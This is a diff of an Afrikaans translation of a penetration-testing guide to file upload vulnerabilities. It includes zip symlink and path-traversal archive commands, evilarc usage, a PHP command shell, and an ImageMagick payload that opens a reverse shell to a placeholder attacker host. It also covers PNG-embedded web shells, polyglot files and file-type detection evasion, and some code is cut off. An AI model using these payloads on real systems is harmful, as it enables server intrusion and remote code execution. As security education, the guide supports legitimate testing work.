[Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- As jy die web server kan laat aflaai 'n **image** vanaf 'n URL, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **image** op 'n **public** site gestoor gaan word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en **steel inligting van elke besoeker**. +- As jy die webserver kan opdrag gee om 'n image vanaf 'n URL te haal, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **image** na 'n **public** webwerf gestoor gaan word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en sodoende **inligting van elke besoeker steel**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- Spesiaal saamgestelde PDFs vir XSS: Die [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan oplaai, kan jy 'n PDF voorberei wat arbitrêre JS sal uitvoer volgens die gegewe instruksies. -- Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kyk of die bediener enige **antivirus** het +- Spesiaal samengestelde PDFs vir XSS: Die [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan oplaai, kan jy 'n PDF voorberei wat arbitraire JS sal uitvoer volgens die gegewe aanwysings. +- Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kontroleer of die bediener enige **antivirus** het - Kontroleer of daar enige **size limit** is wanneer lêers opgelaai word -Hier's 'n top 10 lys van dinge wat jy deur oplaai kan bereik (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +Hier is 'n top 10 lys van dinge wat jy deur oplaai kan bereik (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -206,35 +236,35 @@ https://github.com/portswigger/upload-scanner ## Magic Header Bytes -- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` +- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["` - **JPG**: `"\xff\xd8\xff"` Verwys na [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) vir ander filetypes. -## Zip/Tar File Automatically decompressed Upload +## Zip/Tar-lêer wat outomaties gedekomprimeer word tydens oplaai -As jy 'n ZIP kan oplaai wat binne op die bediener ontpak gaan word, kan jy twee dinge doen: +As jy 'n ZIP kan oplaai wat op die bediener gedekomprimeer gaan word, kan jy twee dinge doen: ### Symlink -Laai 'n link op wat soft links na ander lêers bevat; deur toegang te kry tot die ontpakte lêers sal jy ook toegang tot die gekoppelde lêers kry: +Laai 'n archive op wat soft links na ander lêers bevat; wanneer jy toegang kry tot die gedekomprimeerde lêers, sal jy toegang kry tot die gekoppelde lêers: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Uitpak in verskillende gidse +### Ontpak in verskillende gidse -Die onverwagte aanmaak van lêers in gidse tydens uitpak is 'n beduidende probleem. Ten spyte van aanvanklike aannames dat hierdie opstelling teen OS-level command execution via malicious file uploads sou beskerm, kan die hiërargiese kompressie-ondersteuning en directory traversal vermoëns van die ZIP archive format uitgebuit word. Dit stel aanvallers in staat om beperkings te omseil en uit veilige upload directories te ontsnap deur die decompression-funksionaliteit van die geteikende toepassing te manipuleer. +Die onverwagte skepping van lêers in gidse tydens uitpak is 'n beduidende probleem. Ondanks aanvanklike aannames dat hierdie opstelling moontlik teen OS-level command execution via malicious file uploads sal beskerm, kan die hiërargiese kompressie-ondersteuning en directory traversal vermoëns van die ZIP-argiefformaat misbruik word. Dit stel attackers in staat om beperkings te omseil en uit veilige upload directories te ontsnap deur die uitpakfunksionaliteit van die geteikende toepassing te manipuleer. -'n Geoutomatiseerde exploit om sulke lêers te craft is beskikbaar by [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Die utility kan soos volg gebruik word: +'n Geautomatiseerde exploit om sulke lêers te skep is beskikbaar by [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Die utility kan soos volg gebruik word: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Daarbenewens is die **symlink trick with evilarc** 'n opsie. As die doelwit is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute teëkom tydens sy werking nie. +Verder is die **symlink trick with evilarc** 'n opsie. As die doelwit is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute teëkom tydens sy werking nie. Hieronder is 'n voorbeeld van Python-kode wat gebruik word om 'n kwaadwillige zip-lêer te skep: ```python @@ -254,11 +284,11 @@ zip.close() create_zip() ``` -**Misbruik van kompressie vir file spraying** +**Abusing compression for file spraying** -Vir meer besonderhede **kyk na die oorspronklike plasing by**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/] +Vir verdere besonderhede **kyk na die oorspronklike pos by**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creating a PHP Shell**: PHP-kode word geskryf om opdragte uit te voer wat deur die `$_REQUEST` veranderlike gestuur word. +1. **Creating a PHP Shell**: PHP-kode word geskryf om opdragte uit te voer wat deur die `$_REQUEST`-veranderlike deurgegee word. ```php & /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## Embedding PHP Shell on PNG +## Insluiting van PHP Shell in PNG -Die inbedding van 'n PHP shell in die IDAT chunk van 'n PNG-lêer kan sekere beeldverwerkingsoperasies effektief omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is besonder relevant in hierdie konteks, aangesien hulle algemeen gebruik word om onderskeidelik beelde te hergroot en te hersampel. Die vermoë van die ingebedde PHP shell om ongeskonde te bly deur hierdie operasies is 'n noemenswaardige voordeel vir sekere gebruiksgevalle. +Die insluiting van 'n PHP shell in die IDAT-chunk van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is besonder relevant in hierdie konteks, aangesien hulle algemeen gebruik word vir die verander van grootte en herbemonstering van beelde. Die vermoë van die ingeslote PHP shell om ongeskonde te bly deur hierdie operasies is 'n beduidende voordeel vir sekere gebruiksgevalle. -'n Gedetailleerde verkenning van hierdie tegniek, insluitend die metodologie en potensiële toepassings, word verskaf in die volgende artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies. +'n Gedetailleerde verkenning van hierdie tegniek, insluitend die metodologie en moontlike toepassings, word verskaf in die volgende artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en die implikasies daarvan. More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) ## Polyglot Files -Polyglot files dien as 'n unieke hulpmiddel in kuberveiligheid, wat as kameleons optree wat geldig in meerdere lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie kombinasie nie; kombinasies soos GIF en JS of PPT en JS is ook moontlik. +Polyglot files dien as 'n unieke hulpmiddel in cybersecurity, en tree op soos kameleons wat geldig in meerdere lêerformate terselfdertyd kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers beperk zich nie tot hierdie kombinasie nie; kombinasies soos GIF en JS of PPT en JS is ook uitvoerbaar. -Die kernnut van polyglot files lê in hul kapasiteit om sekuriteitsmaatreëls wat lêers op grond van tipe ondersoek, te omseil. Algemene praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir upload—soos JPEG, GIF of DOC—om die risiko wat moontlik skadelike formate (bv. JS, PHP of Phar-lêers) inhou, te verminder. 'n Polyglot kan egter, deur aan die strukturele kriteria van meerdere lêertipes te voldoen, hierdie beperkings stilweg omseil. +Die kern nut van polyglot files lê in hul vermoë om sekuriteitstelsels te omseil wat lêers op grond van tipe sifting. Algemene praktyk in verskeie toepassings is om slegs sekere lêertipes vir upload toe te laat—soos JPEG, GIF, of DOC—om die risiko van potensieel gevaarlike formate (bv. JS, PHP of Phar lêers) te beperk. 'n Polyglot, deur te voldoen aan die strukturele kriteria van meerdere lêertipes, kan egter stilletjies hierdie beperkings omseil. -Ten spyte van hul aanpasbaarheid, ervaar polyglots beperkings. Byvoorbeeld, al kan 'n polyglot gelyktydig 'n PHAR-lêer (PHp ARchive) en 'n JPEG bevat, kan die sukses van die upload afhang van die platform se beleid rondom lêeruitbreidings. As die stelsel streng is oor toelaatbare uitbreidinge, mag die loutere strukturele dualiteit van 'n polyglot nie voldoende wees om sy upload te verseker nie. +Ten spyte van hul aanpasbaarheid, het polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot terselfdertyd 'n PHAR-lêer en 'n JPEG kan beliggaam, kan die sukses van die upload afhang van die platform se beleid oor lêeruitbreidings. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote strukturele tweespalt van 'n polyglot nie voldoende wees om die upload te waarborg nie. More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### Upload geldige JSONs asof dit 'n PDF is +### Upload valid JSONs like if it was PDF -How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Hoe om lêertipe-detektering te omseil deur 'n geldige JSON-lêer op te laai, selfs al is dit nie toegelaat nie, deur 'n PDF-lêer te faksimeer (tegnieke van **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: Solank die `%PDF` magic bytes in die eerste 1024 bytes is, is dit geldig (get example from post) -- **`pdflib` library**: Voeg 'n vals PDF-formaat binne 'n veld van die JSON in sodat die library dink dit is 'n pdf (get example from post) -- **`file` binary**: Dit kan tot 1048576 bytes van 'n lêer lees. Skep net 'n JSON wat groter is as dit sodat dit nie die inhoud as 'n JSON kan ontleed nie, en sit dan binne die JSON die aanvanklike deel van 'n regte PDF sodat dit dink dit is 'n PDF +- **`mmagic` library**: Solank die `%PDF` magic bytes in die eerste 1024 bytes is, is dit geldig (kry voorbeeld uit die post) +- **`pdflib` library**: Voeg 'n vals PDF-formaat binne 'n veld van die JSON by sodat die biblioteek dink dit is 'n pdf (kry voorbeeld uit die post) +- **`file` binary**: Dit kan tot 1048576 bytes van 'n lêer lees. Skep net 'n JSON wat groter is as dit sodat dit nie die inhoud as 'n json kan parse nie en sit dan binne die JSON die aanvanklike deel van 'n werklike PDF en dit sal dink dit is 'n PDF ## References @@ -328,5 +358,8 @@ How to avoid file type detections by uploading a valid JSON file even if not all - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) - [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) +- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546) +- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca) +- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}}